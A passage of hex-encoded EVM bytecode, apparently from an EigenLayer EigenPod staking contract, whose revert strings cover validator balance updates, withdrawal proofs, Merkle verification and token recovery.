27f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe69091169063c2c51c40906044015b600060405180830381600087803b158015610c8157600080fd5b505af1158015610c95573d6000803e3d6000fd5b5050505050505050505050505050565b600080610ce784848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061278292505050565b600090815260366020526040902054600160c01b900460ff169150505b92915050565b610d326040805160808101825260008082526020820181905291810182905290606082015290565b600082815260366020908152604091829020825160808101845281546001600160401b038082168352600160401b8204811694830194909452600160801b810490931693810193909352906060830190600160c01b900460ff166002811115610d9d57610d9d614e91565b6002811115610dae57610dae614e91565b90525092915050565b336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe61614610dff5760405162461bcd60e51b81526004016106a49061559d565b346801bc16d674ec80000014610e8b5760405162461bcd60e51b8152602060048201526044602482018190527f456967656e506f642e7374616b653a206d75737420696e697469616c6c792073908201527f74616b6520666f7220616e792076616c696461746f72207769746820333220656064820152633a3432b960e11b608482015260a4016106a4565b7f00000000000000000000000042424242424242424242424242424242424242426001600160a01b031663228951186801bc16d674ec8000008787610ece61287c565b8888886040518863ffffffff1660e01b8152600401610ef296959493929190615667565b6000604051808303818588803b158015610f0b57600080fd5b505af1158015610f1f573d6000803e3d6000fd5b50505050507f606865b7934a25d4aed43f6cdb426403353fa4b3009c4d228407474581b01e238585604051610f559291906156b6565b60405180910390a15050505050565b604051635ac86ab760e01b8152600360048201819052907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031690635ac86ab790602401602060405180830381865afa158015610fcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff091906153a2565b1561100d5760405162461bcd60e51b81526004016106a4906153c4565b868414801561101b57508382145b6110a45760405162461bcd60e51b815260206004820152604e60248201527f456967656e506f642e76657269667942616c616e6365557064617465733a207660448201527f616c696461746f72496e646963657320616e642070726f6f6673206d7573742060648201526d0c4ca40e6c2daca40d8cadccee8d60931b608482015260a4016106a4565b426110ba613f486001600160401b038c16614c64565b101561113c5760405162461bcd60e51b815260206004820152604560248201527f456967656e506f642e76657269667942616c616e6365557064617465733a207360448201527f70656369666965642074696d657374616d7020697320746f6f2066617220696e606482015264081c185cdd60da1b608482015260a4016106a4565b60405163d1c64cc960e01b81526001600160401b038a1660048201526111e0907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b03169063d1c64cc990602401602060405180830381865afa1580156111ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d191906154b8565b8735610b7160208a018a6154d1565b6000805b8881101561127a576112668b8b8b8481811061120257611202615517565b9050602002016020810190611217919061552d565b8a358a8a8681811061122b5761122b615517565b905060200281019061123d91906154d1565b8a8a8881811061124f5761124f615517565b90506020028101906112619190615554565b6128c1565b61127090836156ca565b91506001016111e4565b506033546001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681169163c2c51c4091166112bf633b9aca00856156f2565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401610c67565b6113186040805160808101825260008082526020820181905291810182905290606082015290565b6036600061135b85858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061278292505050565b81526020808201929092526040908101600020815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b81049094169281019290925290916060830190600160c01b900460ff1660028111156113c8576113c8614e91565b60028111156113d9576113d9614e91565b9052509392505050565b6033546001600160a01b0316331461140d5760405162461bcd60e51b81526004016106a490615421565b603454600160401b900460ff16156114375760405162461bcd60e51b81526004016106a490615469565b60335461144c906001600160a01b0316611fcf565b565b336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616146114965760405162461bcd60e51b81526004016106a49061559d565b6114a4633b9aca0082615738565b1561152e5760405162461bcd60e51b815260206004820152604e60248201527f456967656e506f642e776974686472617752657374616b6564426561636f6e4360448201527f6861696e4554483a20616d6f756e74576569206d75737420626520612077686f60648201526d1b194811ddd95a48185b5bdd5b9d60921b608482015260a4016106a4565b600061153e633b9aca008361574c565b6034549091506001600160401b0390811690821611156115f75760405162461bcd60e51b815260206004820152606260248201527f456967656e506f642e776974686472617752657374616b6564426561636f6e4360448201527f6861696e4554483a20616d6f756e74477765692065786365656473207769746860648201527f6472617761626c6552657374616b6564457865637574696f6e4c617965724777608482015261656960f01b60a482015260c4016106a4565b603480548291906000906116159084906001600160401b0316615760565b92506101000a8154816001600160401b0302191690836001600160401b03160217905550826001600160a01b03167f8947fd2ce07ef9cc302c4e8f0461015615d91ce851564839e91cc804c2f49d8e8360405161167491815260200190565b60405180910390a26116868383612d9f565b505050565b600054610100900460ff16158080156116ab5750600054600160ff909116105b806116c55750303b1580156116c5575060005460ff166001145b6117285760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016106a4565b6000805460ff19166001179055801561174b576000805461ff0019166101001790555b6001600160a01b0382166117be5760405162461bcd60e51b815260206004820152603460248201527f456967656e506f642e696e697469616c697a653a20706f644f776e65722063616044820152736e6e6f74206265207a65726f206164647265737360601b60648201526084016106a4565b603380546001600160a01b0384166001600160a01b031990911681179091556034805460ff60401b1916600160401b1790556040517fca8dfc8c5e0a67a74501c072a3325f685259bebbae7cfd230ab85198a78b70cd90600090a2801561185f576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b6033546001600160a01b0316331461188d5760405162461bcd60e51b81526004016106a490615421565b604051635ac86ab760e01b8152600560048201819052907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031690635ac86ab790602401602060405180830381865afa1580156118f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191991906153a2565b156119365760405162461bcd60e51b81526004016106a4906153c4565b82518451146119c15760405162461bcd60e51b815260206004820152604b60248201527f456967656e506f642e7265636f766572546f6b656e733a20746f6b656e4c697360448201527f7420616e6420616d6f756e7473546f5769746864726177206d7573742062652060648201526a0e6c2daca40d8cadccee8d60ab1b608482015260a4016106a4565b60005b8451811015611a2557611a1d838583815181106119e3576119e3615517565b60200260200101518784815181106119fd576119fd615517565b60200260200101516001600160a01b0316612da99092919063ffffffff16565b6001016119c4565b5050505050565b604051635ac86ab760e01b81526004808201819052907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031690635ac86ab790602401602060405180830381865afa158015611a93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ab791906153a2565b15611ad45760405162461bcd60e51b81526004016106a4906153c4565b8386148015611ae257508588145b8015611aed57508782145b611b61576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f642e766572696679416e6450726f636573735769746864726160448201527f77616c733a20696e70757473206d7573742062652073616d65206c656e67746860648201526084016106a4565b60405163d1c64cc960e01b81526001600160401b038c166004820152611c05907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b03169063d1c64cc990602401602060405180830381865afa158015611bd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bf691906154b8565b8b35610b7160208e018e6154d1565b604080518082019091526000808252602082015260005b83811015611cfa576000611cc08d358d8d85818110611c3d57611c3d615517565b9050602002810190611c4f919061577f565b8c8c86818110611c6157611c61615517565b9050602002810190611c7391906154d1565b8c8c88818110611c8557611c85615517565b9050602002810190611c979190615554565b8c8c8a818110611ca957611ca9615517565b9050602002810190611cbb9190615554565b612dfb565b80518451919250908490611cd5908390614c64565b9052506020808201519084018051611cee9083906156ca565b90525050600101611c1c565b50805115611d29576033548151611d29916001600160a01b031690611d2490633b9aca00906157a0565b613372565b602081015115611dde5760335460208201516001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681169263c2c51c4092911690611d7f90633b9aca00906156f2565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015611dc557600080fd5b505af1158015611dd9573d6000803e3d6000fd5b505050505b505050505050505050505050565b6033546001600160a01b03163314611e165760405162461bcd60e51b81526004016106a490615421565b604051635ac86ab760e01b8152600560048201819052907f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031690635ac86ab790602401602060405180830381865afa158015611e7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea291906153a2565b15611ebf5760405162461bcd60e51b81526004016106a4906153c4565b603754821115611f705760405162461bcd60e51b815260206004820152606a60248201527f456967656e506f642e77697468647261776e6f6e426561636f6e436861696e4560448201527f544842616c616e63655765693a20616d6f756e74546f5769746864726177206960648201527f732067726561746572207468616e206e6f6e426561636f6e436861696e45544860848201526942616c616e636557656960b01b60a482015260c4016106a4565b8160376000828254611f8291906157b7565b90915550506040518281526001600160a01b038416907f30420aacd028abb3c1fd03aba253ae725d6ddd52d16c9ac4cb5742cd43f530969060200160405180910390a26116868383613372565b6033805467ffffffffffffffff60a01b19164263ffffffff16600160a01b0217905560006037556120008147613372565b50565b60007f000000000000000000000000000000000000000000000000000000006059f4606001600160401b0316826001600160401b031610156120ad5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f642e5f74696d657374616d70546f45706f63683a2074696d6560448201527f7374616d70206973206265666f72652067656e6573697300000000000000000060648201526084016106a4565b6120b9600c60206157ca565b6120e37f000000000000000000000000000000000000000000000000000000006059f46084615760565b610d0491906157ec565b60006120fb600c60206157ca565b61210683600161581a565b61211091906157ca565b610d04907f000000000000000000000000000000000000000000000000000000006059f46061581a565b612146600360206157a0565b81146121d65760405162461bcd60e51b815260206004820152605360248201527f426561636f6e436861696e50726f6f66732e7665726966795374617465526f6f60448201527f74416761696e73744c6174657374426c6f636b526f6f743a2050726f6f6620686064820152720c2e640d2dcc6dee4e4cac6e840d8cadccee8d606b1b608482015260a4016106a4565b61221b82828080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525088925087915060039050613400565b6122c25760405162461bcd60e51b815260206004820152606660248201527f426561636f6e436861696e50726f6f66732e7665726966795374617465526f6f60448201527f74416761696e73744c6174657374426c6f636b526f6f743a20496e76616c696460648201527f206c617465737420626c6f636b2068656164657220726f6f74206d65726b6c6560848201526510383937b7b360d11b60a482015260c4016106a4565b50505050565b60008061230784848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b6000818152603660209081526040808320815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b8104909416928101929092529394509192906060830190600160c01b900460ff16600281111561237657612376614e91565b600281111561238757612387614e91565b90525090506000816060015160028111156123a4576123a4614e91565b1461244d5760405162461bcd60e51b815260206004820152606760248201527f456967656e506f642e766572696679436f72726563745769746864726177616c60448201527f43726564656e7469616c733a2056616c696461746f72206d757374206265206960648201527f6e61637469766520746f2070726f7665207769746864726177616c2063726564608482015266656e7469616c7360c81b60a482015260c4016106a4565b61245561287c565b61245e90615839565b61249a86868080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061343c92505050565b146125215760405162461bcd60e51b815260206004820152604b60248201527f456967656e506f642e766572696679436f72726563745769746864726177616c60448201527f43726564656e7469616c733a2050726f6f66206973206e6f7420666f7220746860648201526a1a5cc8115a59d95b941bd960aa1b608482015260a4016106a4565b600061255f86868080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061345192505050565b905061256f8a87878b8b8e613476565b6039805490600061257f8361585d565b90915550506001606083015264ffffffffff891682526001600160401b038b811660408401527f000000000000000000000000000000000000000000000000000000077359400081169082161115612605576001600160401b037f0000000000000000000000000000000000000000000000000000000773594000166020830152612615565b6001600160401b03811660208301525b6000838152603660209081526040918290208451815492860151938601516001600160401b03908116600160801b0267ffffffffffffffff60801b19958216600160401b026001600160801b0319909516919092161792909217928316821781556060850151859391929091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b8360028111156126b3576126b3614e91565b02179055505060405164ffffffffff8b1681527f2d0800bbc377ea54a08c5db6a87aafff5e3e9c8fead0eda110e40e0c10441449915060200160405180910390a17f0e5fac175b83177cc047381e030d8fb3b42b37bd1c025e22c280facad62c32df898c846020015160405161274e9392919064ffffffffff9390931683526001600160401b03918216602084015216604082015260600190565b60405180910390a1633b9aca0082602001516001600160401b031661277391906157a0565b9b9a5050505050505050505050565b6000815160301461280b5760405162461bcd60e51b815260206004820152604760248201527f456967656e506f642e5f63616c63756c61746556616c696461746f725075626b60448201527f657948617368206d75737420626520612034382d6279746520424c53207075626064820152666c6963206b657960c81b608482015260a4016106a4565b604051600290612822908490600090602001615876565b60408051601f198184030181529082905261283c916158a5565b602060405180830381855afa158015612859573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610d0491906154b8565b60408051600160f81b60208201526000602182015230606090811b6bffffffffffffffffffffffff1916602c8301529101604051602081830303815290604052905090565b60008061290084848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061345192505050565b9050600061294085858080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b6000818152603660209081526040808320815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b8104909416928101929092529394509192906060830190600160c01b900460ff1660028111156129af576129af614e91565b60028111156129c0576129c0614e91565b8152505090508a6001600160401b031681604001516001600160401b031610612a775760405162461bcd60e51b815260206004820152605c60248201527f456967656e506f642e76657269667942616c616e63655570646174653a20566160448201527f6c696461746f72732062616c616e63652068617320616c72656164792062656560648201527f6e207570646174656420666f7220746869732074696d657374616d7000000000608482015260a4016106a4565b600181606001516002811115612a8f57612a8f614e91565b14612af75760405162461bcd60e51b815260206004820152603260248201527f456967656e506f642e76657269667942616c616e63655570646174653a2056616044820152716c696461746f72206e6f742061637469766560701b60648201526084016106a4565b612b008b612003565b6001600160401b0316612b458787808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506136cd92505050565b6001600160401b031611612be8576000836001600160401b031611612be85760405162461bcd60e51b815260206004820152604d60248201527f456967656e506f642e76657269667942616c616e63655570646174653a20766160448201527f6c696461746f7220697320776974686472617761626c6520627574206861732060648201526c3737ba103bb4ba34323930bbb760991b608482015260a4016106a4565b612bf68987878b8b8f613476565b602081015160006001600160401b037f000000000000000000000000000000000000000000000000000000077359400081169086161115612c5857507f0000000000000000000000000000000000000000000000000000000773594000612c5b565b50835b6001600160401b0380821660208086019182528f831660408088019182526000898152603690935290912086518154935192518516600160801b0267ffffffffffffffff60801b19938616600160401b026001600160801b031990951691909516179290921790811683178255606086015186939091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b836002811115612d0357612d03614e91565b0217905550905050816001600160401b0316816001600160401b031614612d8f577f0e5fac175b83177cc047381e030d8fb3b42b37bd1c025e22c280facad62c32df8c8e83604051612d7a9392919064ffffffffff9390931683526001600160401b03918216602084015216604082015260600190565b60405180910390a1612d8c81836136e5565b95505b5050505050979650505050505050565b61185f8282613704565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261168690849061381d565b6040805180820190915260008082526020820152612e20612e1b89615926565b6138ef565b6033546001600160401b03600160a01b90910481169082161015612ee25760405162461bcd60e51b815260206004820152606760248201527f456967656e506f642e70726f6f664973466f7256616c696454696d657374616d60448201527f703a20626561636f6e20636861696e2070726f6f66206d75737420626520617460648201527f206f72206166746572206d6f7374526563656e745769746864726177616c546960848201526606d657374616d760cc1b60a482015260c4016106a4565b6000612ef0612e1b8b615926565b90506000612f3088888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b905060008082815260366020526040902054600160c01b900460ff166002811115612f5d57612f5d614e91565b036130135760405162461bcd60e51b815260206004820152607460248201527f456967656e506f642e5f766572696679416e6450726f6365737357697468647260448201527f6177616c3a2056616c696461746f72206e657665722070726f76656e20746f2060648201527f68617665207769746864726177616c2063726564656e7469616c7320706f696e6084820152731d1959081d1bc81d1a1a5cc818dbdb9d1c9858dd60621b60a482015260c4016106a4565b60008181526035602090815260408083206001600160401b038616845290915290205460ff16156130d25760405162461bcd60e51b815260206004820152605b60248201527f456967656e506f642e5f766572696679416e6450726f6365737357697468647260448201527f6177616c3a207769746864726177616c2068617320616c72656164792062656560648201527f6e2070726f76656e20666f7220746869732074696d657374616d700000000000608482015260a4016106a4565b6001603560008381526020019081526020016000206000846001600160401b03166001600160401b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506131af8c87878e7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b03166344e71c806040518163ffffffff1660e01b8152600401602060405180830381865afa158015613186573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131aa9190615a78565b6138ff565b60006131ed87878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061432092505050565b90506131fd8d8a8a8e8e86613476565b600061323b88888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061433892505050565b90506132798a8a808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506136cd92505050565b6001600160401b031661329361328e8f615926565b614350565b6001600160401b03161061334b57603354600084815260366020908152604091829020825160808101845281546001600160401b038082168352600160401b8204811694830194909452600160801b81049093169381019390935261334093869388938a936001600160a01b03909316928892916060830190600160c01b900460ff16600281111561332757613327614e91565b600281111561333857613338614e91565b905250614362565b955050505050613365565b60335461334090839086906001600160a01b0316846145a0565b5098975050505050505050565b603354604051633036cd5360e21b81526001600160a01b03918216600482015283821660248201527f0000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc3189091169063c0db354c9083906044016000604051808303818588803b1580156133e357600080fd5b505af11580156133f7573d6000803e3d6000fd5b50505050505050565b60008361340e86858561467e565b1495945050505050565b60008160008151811061342d5761342d615517565b60200260200101519050919050565b60008160018151811061342d5761342d615517565b6000610d048260028151811061346957613469615517565b60200260200101516147cd565b61348260036002615b7c565b841461350d5760405162461bcd60e51b815260206004820152604e60248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a2056616c696461746f72206669656c64732068617320696e60648201526d0c6dee4e4cac6e840d8cadccee8d60931b608482015260a4016106a4565b600561351b60286001614c64565b6135259190614c64565b6135309060206157a0565b82146135b05760405162461bcd60e51b815260206004820152604360248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a2050726f6f662068617320696e636f7272656374206c656e6064820152620cee8d60eb1b608482015260a4016106a4565b600064ffffffffff82166135c660286001614c64565b600b901b179050600061360b87878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061483492505050565b905061365185858080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250859150869050613400565b6136c35760405162461bcd60e51b815260206004820152603d60248201527f426561636f6e436861696e50726f6f66732e76657269667956616c696461746f60448201527f724669656c64733a20496e76616c6964206d65726b6c652070726f6f6600000060648201526084016106a4565b5050505050505050565b6000610d048260078151811061346957613469615517565b60006136fd6001600160401b03808416908516615b88565b9392505050565b804710156137545760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016106a4565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146137a1576040519150601f19603f3d011682016040523d82523d6000602084013e6137a6565b606091505b50509050806116865760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016106a4565b6000613872826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316614acd9092919063ffffffff16565b805190915015611686578080602001905181019061389091906153a2565b6116865760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016106a4565b6000610d048261014001516147cd565b61390a600280615b7c565b831461397e5760405162461bcd60e51b81526020600482015260496024820152600080516020615bf083398151915260448201527f616c3a207769746864726177616c4669656c64732068617320696e636f7272656064820152680c6e840d8cadccee8d60bb1b608482015260a4016106a4565b61398a600d6002615b7c565b61399a60c0840160a08501615ba8565b6001600160401b031610613a045760405162461bcd60e51b815260206004820152603f6024820152600080516020615bf083398151915260448201527f616c3a20626c6f636b526f6f74496e64657820697320746f6f206c617267650060648201526084016106a4565b613a1060046002615b7c565b613a21610100840160e08501615ba8565b6001600160401b031610613a8d576040805162461bcd60e51b8152602060048201526024810191909152600080516020615bf083398151915260448201527f616c3a207769746864726177616c496e64657820697320746f6f206c6172676560648201526084016106a4565b613a9960186002615b7c565b613aa960e0840160c08501615ba8565b6001600160401b031610613b235760405162461bcd60e51b81526020600482015260476024820152600080516020615bf083398151915260448201527f616c3a20686973746f726963616c53756d6d617279496e64657820697320746f6064820152666f206c6172676560c81b608482015260a4016106a4565b60006001600160401b038216613b3b612e1b85615926565b6001600160401b031610613b50576005613b53565b60045b9050613b60600482614c64565b613b6b906001614c64565b613b769060206157a0565b613b8084806154d1565b905014613bf45760405162461bcd60e51b81526020600482015260486024820152600080516020615bf083398151915260448201527f616c3a207769746864726177616c50726f6f662068617320696e636f727265636064820152670e840d8cadccee8d60c31b608482015260a4016106a4565b613c0060046003614c64565b613c0b9060206157a0565b613c1860408501856154d1565b905014613c925760405162461bcd60e51b815260206004820152604e6024820152600080516020615bf083398151915260448201527f616c3a20657865637574696f6e5061796c6f616450726f6f662068617320696e60648201526d0c6dee4e4cac6e840d8cadccee8d60931b608482015260a4016106a4565b613c9e600360206157a0565b613cab60208501856154d1565b905014613d195760405162461bcd60e51b81526020600482015260426024820152600080516020615bf083398151915260448201527f616c3a20736c6f7450726f6f662068617320696e636f7272656374206c656e676064820152610e8d60f31b608482015260a4016106a4565b613d248160206157a0565b613d3160608501856154d1565b905014613da45760405162461bcd60e51b81526020600482015260476024820152600080516020615bf083398151915260448201527f616c3a2074696d657374616d7050726f6f662068617320696e636f7272656374606482015266040d8cadccee8d60cb1b608482015260a4016106a4565b600d613db260186001614c64565b613dbd906005614c64565b613dc8906001614c64565b613dd29190614c64565b613ddd9060206157a0565b613dea60808501856154d1565b905014613e735760405162461bcd60e51b81526020600482015260586024820152600080516020615bf083398151915260448201527f616c3a20686973746f726963616c53756d6d617279426c6f636b526f6f74507260648201527f6f6f662068617320696e636f7272656374206c656e6774680000000000000000608482015260a4016106a4565b6000613e8560c0850160a08601615ba8565b6001600160401b03166000613e9c600d6001614c64565b613eac60e0880160c08901615ba8565b6001600160401b0316901b600d613ec560186001614c64565b613ed0906001614c64565b613eda9190614c64565b601b901b1717179050613f35613ef360808601866154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508b9250505061010087013584613400565b613fa85760405162461bcd60e51b815260206004820152604a6024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420686973746f726963616c73756d6d617279206d656064820152693935b63290383937b7b360b11b608482015260a4016106a4565b613fff613fb860208601866154d1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052506101008a013593506101208a013592509050613400565b61405f5760405162461bcd60e51b815260206004820152603d6024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420736c6f74206d65726b6c652070726f6f6600000060648201526084016106a4565b60496140b761407160408701876154d1565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050505061010087013561016088013584613400565b6141295760405162461bcd60e51b81526020600482015260496024820152600080516020615bf083398151915260448201527f616c3a20496e76616c696420657865637574696f6e5061796c6f6164206d657260648201526835b63290383937b7b360b91b608482015260a4016106a4565b5061418161413a60608601866154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101608601356101408701356009613400565b6141ec5760405162461bcd60e51b81526020600482015260426024820152600080516020615bf083398151915260448201527f616c3a20496e76616c69642074696d657374616d70206d65726b6c652070726f60648201526137b360f11b608482015260a4016106a4565b60006141ff610100860160e08701615ba8565b6001600160401b031661421460046001614c64565b600e901b179050600061425988888080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061483492505050565b90506142a961426887806154d1565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050506101608801358385613400565b6143155760405162461bcd60e51b81526020600482015260436024820152600080516020615bf083398151915260448201527f616c3a20496e76616c6964207769746864726177616c206d65726b6c6520707260648201526237b7b360e91b608482015260a4016106a4565b505050505050505050565b6000610d048260018151811061346957613469615517565b6000610d048260038151811061346957613469615517565b600060206120e38361012001516147cd565b604080518082019091526000808252602082015260007f00000000000000000000000000000000000000000000000000000007735940006001600160401b0316846001600160401b031611156143d957507f00000000000000000000000000000000000000000000000000000007735940006143dc565b50825b60408051808201909152600080825260208201526143fa8286615760565b6001600160401b03908116825260348054849260009161441c9185911661581a565b92506101000a8154816001600160401b0302191690836001600160401b0316021790555061444e8285602001516136e5565b602082015260028460600151600281111561446b5761446b614e91565b1461448d576039805490600061448083615bc5565b9091555050600260608501525b600060208086018281528a83526036909152604091829020865181549251938801516001600160401b03908116600160801b0267ffffffffffffffff60801b19958216600160401b026001600160801b0319909516929091169190911792909217928316821781556060870151879391929091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b83600281111561453257614532614e91565b0217905550506040805164ffffffffff8c1681526001600160401b038a8116602083015288168183015290516001600160a01b03891692507fb76a93bb649ece524688f1a01d184e0bbebcda58eae80c28a898bec3fb5a09639181900360600190a298975050505050505050565b60408051808201909152600080825260208201526040805164ffffffffff871681526001600160401b0380871660208301528416918101919091526001600160a01b038416907f8a7335714231dbd551aaba6314f4a97a14c201e53a3e25e1140325cdf67d7a4e9060600160405180910390a2603880548391906000906146319084906001600160401b031661581a565b92506101000a8154816001600160401b0302191690836001600160401b031602179055506040518060400160405280836001600160401b0316815260200160008152509050949350505050565b6000835160001415801561469d57506020845161469b9190615738565b155b61472c5760405162461bcd60e51b815260206004820152605460248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f665368613260448201527f35363a2070726f6f66206c656e6774682073686f756c642062652061206e6f6e60648201527316bd32b9379036bab63a34b836329037b310199960611b608482015260a4016106a4565b604080516020808201909252848152905b855181116147c357614750600285615738565b600003614786578151600052808601516020526020826040600060026107d05a03fa61477b57600080fd5b6002840493506147b1565b8086015160005281516020526020826040600060026107d05a03fa6147aa57600080fd5b6002840493505b6147bc602082614c64565b905061473d565b5051949350505050565b60f881901c60e882901c61ff00161760d882901c62ff0000161760c882901c63ff000000161764ff0000000060b883901c161765ff000000000060a883901c161766ff000000000000609883901c161767ff0000000000000060889290921c919091161790565b60008060028351614845919061574c565b90506000816001600160401b03811115614861576148616150b9565b60405190808252806020026020018201604052801561488a578160200160208202803683370190505b50905060005b82811015614987576002856148a583836157a0565b815181106148b5576148b5615517565b6020026020010151868360026148cb91906157a0565b6148d6906001614c64565b815181106148e6576148e6615517565b6020026020010151604051602001614908929190918252602082015260400190565b60408051601f1981840301815290829052614922916158a5565b602060405180830381855afa15801561493f573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061496291906154b8565b82828151811061497457614974615517565b6020908102919091010152600101614890565b5061499360028361574c565b91505b8115614aa95760005b82811015614a96576002826149b483836157a0565b815181106149c4576149c4615517565b6020026020010151838360026149da91906157a0565b6149e5906001614c64565b815181106149f5576149f5615517565b6020026020010151604051602001614a17929190918252602082015260400190565b60408051601f1981840301815290829052614a31916158a5565b602060405180830381855afa158015614a4e573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190614a7191906154b8565b828281518110614a8357614a83615517565b602090810291909101015260010161499f565b50614aa260028361574c565b9150614996565b80600081518110614abc57614abc615517565b602002602001015192505050919050565b6060614adc8484600085614ae4565b949350505050565b606082471015614b455760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016106a4565b6001600160a01b0385163b614b9c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016106a4565b600080866001600160a01b03168587604051614bb891906158a5565b60006040518083038185875af1925050503d8060008114614bf5576040519150601f19603f3d011682016040523d82523d6000602084013e614bfa565b606091505b5091509150614c0a828286614c15565b979650505050505050565b60608315614c245750816136fd565b825115614c345782518084602001fd5b8160405162461bcd60e51b81526004016106a49190615bdc565b634e487b7160e01b600052601160045260246000fd5b80820180821115610d0457610d04614c4e565b6001600160401b038116811461200057600080fd5b8035614c9781614c77565b919050565b60008060408385031215614caf57600080fd5b823591506020830135614cc181614c77565b809150509250929050565b600060408284031215614cde57600080fd5b50919050565b60008083601f840112614cf657600080fd5b5081356001600160401b03811115614d0d57600080fd5b6020830191508360208260051b8501011115614d2857600080fd5b9250929050565b60008060008060008060008060a0898b031215614d4b57600080fd5b8835614d5681614c77565b975060208901356001600160401b03811115614d7157600080fd5b614d7d8b828c01614ccc565b97505060408901356001600160401b03811115614d9957600080fd5b614da58b828c01614ce4565b90975095505060608901356001600160401b03811115614dc457600080fd5b614dd08b828c01614ce4565b90955093505060808901356001600160401b03811115614def57600080fd5b614dfb8b828c01614ce4565b999c989b5096995094979396929594505050565b60008083601f840112614e2157600080fd5b5081356001600160401b03811115614e3857600080fd5b602083019150836020828501011115614d2857600080fd5b60008060208385031215614e6357600080fd5b82356001600160401b03811115614e7957600080fd5b614e8585828601614e0f565b90969095509350505050565b634e487b7160e01b600052602160045260246000fd5b60038110614ec557634e487b7160e01b600052602160045260246000fd5b9052565b60208101610d048284614ea7565b600060208284031215614ee957600080fd5b5035919050565b60006080820190506001600160401b0383511682526001600160401b0360208401511660208301526001600160401b0360408401511660408301526060830151614f3d6060840182614ea7565b5092915050565b600080600080600060608688031215614f5c57600080fd5b85356001600160401b03811115614f7257600080fd5b614f7e88828901614e0f565b9096509450506020860135600160016